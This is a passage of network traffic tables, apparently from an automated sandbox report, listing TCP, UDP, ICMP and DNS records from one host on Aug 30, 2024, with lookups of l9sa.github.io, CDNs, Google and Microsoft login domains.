Aug 30, 2024 00:19:56.256213903 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256225109 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256257057 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256275892 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256282091 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256283998 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.256302118 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256313086 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.256316900 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.256340981 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.256421089 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.260001898 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.260076046 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.260082006 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.260092974 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.260341883 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.262748003 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.262753010 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.306468010 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.306504011 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:56.306710958 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.306852102 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.306869984 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.152867079 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.164208889 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.164232016 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.165383101 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.165441036 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.166127920 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.166186094 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.166654110 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.166661978 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.218782902 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.422965050 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424757957 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424767017 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424788952 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424796104 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424798965 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424818039 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.424829960 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424858093 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.424884081 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.424889088 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424899101 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:57.424938917 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.550817013 CEST	49913	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:57.550832987 CEST	443	49913	152.199.21.175	192.168.2.4
Aug 30, 2024 00:20:00.113172054 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:20:00.113240957 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:20:00.113317013 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:20:00.114329100 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:20:00.114392042 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:20:00.114459038 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:20:00.195421934 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:20:00.195436001 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:20:00.195563078 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:20:00.195569038 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:20:00.636715889 CEST	49736	80	192.168.2.4	185.199.109.153
Aug 30, 2024 00:20:00.643233061 CEST	80	49736	185.199.109.153	192.168.2.4
Aug 30, 2024 00:20:01.097031116 CEST	49735	80	192.168.2.4	185.199.109.153
Aug 30, 2024 00:20:01.102618933 CEST	80	49735	185.199.109.153	192.168.2.4
Aug 30, 2024 00:20:14.845469952 CEST	54971	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:20:14.850455046 CEST	53	54971	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:14.850639105 CEST	54971	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:20:14.850682020 CEST	54971	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:20:14.855428934 CEST	53	54971	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:15.337305069 CEST	53	54971	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:15.337877035 CEST	54971	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:20:15.343466997 CEST	53	54971	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:15.343549967 CEST	54971	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:20:16.147357941 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:20:16.147367001 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:20:16.756617069 CEST	49736	80	192.168.2.4	185.199.109.153
Aug 30, 2024 00:20:16.761703014 CEST	80	49736	185.199.109.153	192.168.2.4
Aug 30, 2024 00:20:16.761773109 CEST	49736	80	192.168.2.4	185.199.109.153
Aug 30, 2024 00:20:18.497456074 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:18.497493982 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:18.497694016 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:18.498070002 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:18.498080015 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:18.948157072 CEST	49724	80	192.168.2.4	199.232.210.172
Aug 30, 2024 00:20:18.955250025 CEST	80	49724	199.232.210.172	192.168.2.4
Aug 30, 2024 00:20:18.955338001 CEST	49724	80	192.168.2.4	199.232.210.172
Aug 30, 2024 00:20:19.152645111 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:19.153135061 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:19.153165102 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:19.153476000 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:19.153922081 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:19.153980970 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:19.200670004 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:26.586945057 CEST	49817	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:20:26.586971998 CEST	443	49817	152.199.21.175	192.168.2.4
Aug 30, 2024 00:20:29.077142000 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:29.077203989 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:29.077296019 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:30.759443045 CEST	54974	443	192.168.2.4	216.58.206.68
Aug 30, 2024 00:20:30.759469032 CEST	443	54974	216.58.206.68	192.168.2.4
Aug 30, 2024 00:20:31.272639036 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:20:31.272706985 CEST	443	49774	152.199.21.175	192.168.2.4
Aug 30, 2024 00:20:31.272823095 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:20:32.751691103 CEST	49774	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:20:32.751718998 CEST	443	49774	152.199.21.175	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 00:19:14.506179094 CEST	53	64032	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:14.506624937 CEST	53	56146	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:15.595531940 CEST	53	62488	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:15.604785919 CEST	60526	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:15.604963064 CEST	63850	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:15.616336107 CEST	53	63850	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:15.619404078 CEST	53	60526	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:16.091412067 CEST	56181	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.091566086 CEST	51801	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.101711988 CEST	53	51801	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:16.101727962 CEST	53	56181	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:16.842732906 CEST	57031	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.843132019 CEST	58823	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.844033957 CEST	51658	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.844413996 CEST	55578	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.845101118 CEST	64702	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.845387936 CEST	60542	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:16.852826118 CEST	53	57031	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:16.853970051 CEST	53	58823	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:16.866259098 CEST	53	64702	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:16.868490934 CEST	53	60542	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:18.297571898 CEST	65425	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:18.297925949 CEST	64831	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:18.306317091 CEST	53	65425	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:18.308443069 CEST	53	64831	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:18.429456949 CEST	55647	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:18.432091951 CEST	51907	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:18.438167095 CEST	53	55647	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:18.441131115 CEST	53	51907	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:19.015394926 CEST	53	53065	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:20.610687017 CEST	64329	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:20.611128092 CEST	58597	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:20.620729923 CEST	53	64329	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:20.623955011 CEST	53	58597	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:29.123455048 CEST	59868	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:29.124094963 CEST	55587	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:30.249545097 CEST	53071	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:30.249957085 CEST	53049	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:30.258570910 CEST	53	53071	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:30.258965969 CEST	53	53049	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:30.568936110 CEST	138	138	192.168.2.4	192.168.2.255
Aug 30, 2024 00:19:31.917644978 CEST	58550	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:31.917871952 CEST	64654	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:32.125845909 CEST	49495	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:32.126176119 CEST	56027	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:32.126718044 CEST	55680	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:32.127013922 CEST	60899	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:32.135750055 CEST	53	61248	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:32.951224089 CEST	53	57785	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:33.383434057 CEST	51741	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:33.383735895 CEST	55867	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.604245901 CEST	63015	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.604655981 CEST	62085	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.625241995 CEST	53086	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.625577927 CEST	60128	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.634464025 CEST	53	53086	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:34.636423111 CEST	53	60128	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:34.645632982 CEST	65469	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.645968914 CEST	65222	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.655556917 CEST	53	65469	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:34.657192945 CEST	53	65222	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:34.924228907 CEST	62692	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:34.926065922 CEST	54987	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:35.402124882 CEST	62133	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:35.402302027 CEST	62504	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:35.411082983 CEST	53	62133	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:35.413362980 CEST	53	62504	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:35.641524076 CEST	51231	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:35.641701937 CEST	60873	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:35.648808956 CEST	53	51231	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:35.649044037 CEST	53	60873	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:40.366170883 CEST	54474	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.366504908 CEST	54785	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.369623899 CEST	62510	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.369812012 CEST	64752	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.382889986 CEST	51177	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.383203030 CEST	57409	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.387290955 CEST	54311	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.387783051 CEST	63397	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.389600039 CEST	53	51177	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:40.389738083 CEST	53	57409	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:40.394438028 CEST	62773	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:40.423779964 CEST	58066	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:44.270700932 CEST	62660	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:44.270885944 CEST	53087	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:44.796279907 CEST	62159	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:44.796587944 CEST	49507	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:45.581130028 CEST	62297	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:45.581664085 CEST	58530	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:46.361522913 CEST	53	50177	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:47.907490015 CEST	61756	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:47.907490015 CEST	62805	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:49.137938023 CEST	51191	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:49.137938023 CEST	57939	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:49.146985054 CEST	53	57939	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:49.147145987 CEST	53	51191	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:50.482105017 CEST	65466	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:50.482316971 CEST	56971	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:50.489201069 CEST	53	65466	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:50.490016937 CEST	53	56971	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:52.120271921 CEST	53	54620	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:54.721364021 CEST	61455	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:54.721512079 CEST	61511	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:54.722795963 CEST	55982	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:54.722959042 CEST	64078	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:54.728647947 CEST	53	61455	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:54.757023096 CEST	53	61511	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:56.296639919 CEST	54609	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:56.296639919 CEST	57592	53	192.168.2.4	1.1.1.1
Aug 30, 2024 00:19:56.305859089 CEST	53	54609	1.1.1.1	192.168.2.4
Aug 30, 2024 00:19:56.305874109 CEST	53	57592	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:12.887363911 CEST	53	64795	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:12.888158083 CEST	53	50859	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:14.194418907 CEST	53	53724	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:14.845042944 CEST	53	56270	1.1.1.1	192.168.2.4
Aug 30, 2024 00:20:28.777498960 CEST	53	50975	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 30, 2024 00:19:29.157361984 CEST	192.168.2.4	1.1.1.1	c28d	(Port unreachable)	Destination Unreachable
Aug 30, 2024 00:19:31.960697889 CEST	192.168.2.4	1.1.1.1	c28d	(Port unreachable)	Destination Unreachable
Aug 30, 2024 00:19:40.400439978 CEST	192.168.2.4	1.1.1.1	c296	(Port unreachable)	Destination Unreachable
Aug 30, 2024 00:19:54.741976023 CEST	192.168.2.4	1.1.1.1	c2dd	(Port unreachable)	Destination Unreachable
Aug 30, 2024 00:20:12.887422085 CEST	192.168.2.4	1.1.1.1	c221	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 30, 2024 00:19:15.604785919 CEST	192.168.2.4	1.1.1.1	0x9d0a	Standard query (0)	l9sa.github.io	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:15.604963064 CEST	192.168.2.4	1.1.1.1	0x87e	Standard query (0)	l9sa.github.io	65	IN (0x0001)	false
Aug 30, 2024 00:19:16.091412067 CEST	192.168.2.4	1.1.1.1	0x2de8	Standard query (0)	l9sa.github.io	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.091566086 CEST	192.168.2.4	1.1.1.1	0x4d27	Standard query (0)	l9sa.github.io	65	IN (0x0001)	false
Aug 30, 2024 00:19:16.842732906 CEST	192.168.2.4	1.1.1.1	0x9b43	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.843132019 CEST	192.168.2.4	1.1.1.1	0x824d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:16.844033957 CEST	192.168.2.4	1.1.1.1	0x1f9c	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.844413996 CEST	192.168.2.4	1.1.1.1	0xcdb4	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:16.845101118 CEST	192.168.2.4	1.1.1.1	0xb0df	Standard query (0)	maxcdn.icons8.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.845387936 CEST	192.168.2.4	1.1.1.1	0x81e8	Standard query (0)	maxcdn.icons8.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:18.297571898 CEST	192.168.2.4	1.1.1.1	0xc5e7	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:18.297925949 CEST	192.168.2.4	1.1.1.1	0x820a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:18.429456949 CEST	192.168.2.4	1.1.1.1	0xb179	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:18.432091951 CEST	192.168.2.4	1.1.1.1	0xc50	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:20.610687017 CEST	192.168.2.4	1.1.1.1	0x8925	Standard query (0)	l9sa.github.io	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:20.611128092 CEST	192.168.2.4	1.1.1.1	0xf118	Standard query (0)	l9sa.github.io	65	IN (0x0001)	false
Aug 30, 2024 00:19:29.123455048 CEST	192.168.2.4	1.1.1.1	0x89bb	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:29.124094963 CEST	192.168.2.4	1.1.1.1	0x6edd	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:30.249545097 CEST	192.168.2.4	1.1.1.1	0xee21	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:30.249957085 CEST	192.168.2.4	1.1.1.1	0xe71a	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:31.917644978 CEST	192.168.2.4	1.1.1.1	0x5003	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:31.917871952 CEST	192.168.2.4	1.1.1.1	0xda9d	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:32.125845909 CEST	192.168.2.4	1.1.1.1	0x9974	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:32.126176119 CEST	192.168.2.4	1.1.1.1	0xdee6	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:32.126718044 CEST	192.168.2.4	1.1.1.1	0xa6cc	Standard query (0)	msft.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:32.127013922 CEST	192.168.2.4	1.1.1.1	0x56da	Standard query (0)	msft.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:33.383434057 CEST	192.168.2.4	1.1.1.1	0xa398	Standard query (0)	client.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:33.383735895 CEST	192.168.2.4	1.1.1.1	0x14a8	Standard query (0)	client.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:34.604245901 CEST	192.168.2.4	1.1.1.1	0xa844	Standard query (0)	client.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:34.604655981 CEST	192.168.2.4	1.1.1.1	0x7c29	Standard query (0)	client.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:34.625241995 CEST	192.168.2.4	1.1.1.1	0xa1ea	Standard query (0)	stk.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:34.625577927 CEST	192.168.2.4	1.1.1.1	0x34a0	Standard query (0)	stk.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:34.645632982 CEST	192.168.2.4	1.1.1.1	0xa611	Standard query (0)	collector-pxzc5j78di.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:34.645968914 CEST	192.168.2.4	1.1.1.1	0x9d16	Standard query (0)	collector-pxzc5j78di.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:34.924228907 CEST	192.168.2.4	1.1.1.1	0x7dc2	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:34.926065922 CEST	192.168.2.4	1.1.1.1	0x24de	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:35.402124882 CEST	192.168.2.4	1.1.1.1	0x6480	Standard query (0)	stk.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:35.402302027 CEST	192.168.2.4	1.1.1.1	0x9c5f	Standard query (0)	stk.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:35.641524076 CEST	192.168.2.4	1.1.1.1	0x6d26	Standard query (0)	collector-pxzc5j78di.hsprotect.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:35.641701937 CEST	192.168.2.4	1.1.1.1	0x91b4	Standard query (0)	collector-pxzc5j78di.hsprotect.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:40.366170883 CEST	192.168.2.4	1.1.1.1	0xa7d5	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.366504908 CEST	192.168.2.4	1.1.1.1	0x1b89	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:40.369623899 CEST	192.168.2.4	1.1.1.1	0x6595	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.369812012 CEST	192.168.2.4	1.1.1.1	0x262f	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:40.382889986 CEST	192.168.2.4	1.1.1.1	0x77af	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.383203030 CEST	192.168.2.4	1.1.1.1	0x6adc	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:40.387290955 CEST	192.168.2.4	1.1.1.1	0xe1cc	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.387783051 CEST	192.168.2.4	1.1.1.1	0x1a34	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Aug 30, 2024 00:19:40.394438028 CEST	192.168.2.4	1.1.1.1	0xd369	Standard query (0)	support.content.office.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.423779964 CEST	192.168.2.4	1.1.1.1	0x92ff	Standard query (0)	support.content.office.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:44.270700932 CEST	192.168.2.4	1.1.1.1	0x4b07	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:44.270885944 CEST	192.168.2.4	1.1.1.1	0x902d	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Aug 30, 2024 00:19:44.796279907 CEST	192.168.2.4	1.1.1.1	0x7247	Standard query (0)	support.content.office.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:44.796587944 CEST	192.168.2.4	1.1.1.1	0x1fda	Standard query (0)	support.content.office.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:45.581130028 CEST	192.168.2.4	1.1.1.1	0xbdc9	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:45.581664085 CEST	192.168.2.4	1.1.1.1	0x1d9e	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Aug 30, 2024 00:19:47.907490015 CEST	192.168.2.4	1.1.1.1	0x6660	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:47.907490015 CEST	192.168.2.4	1.1.1.1	0xe24e	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
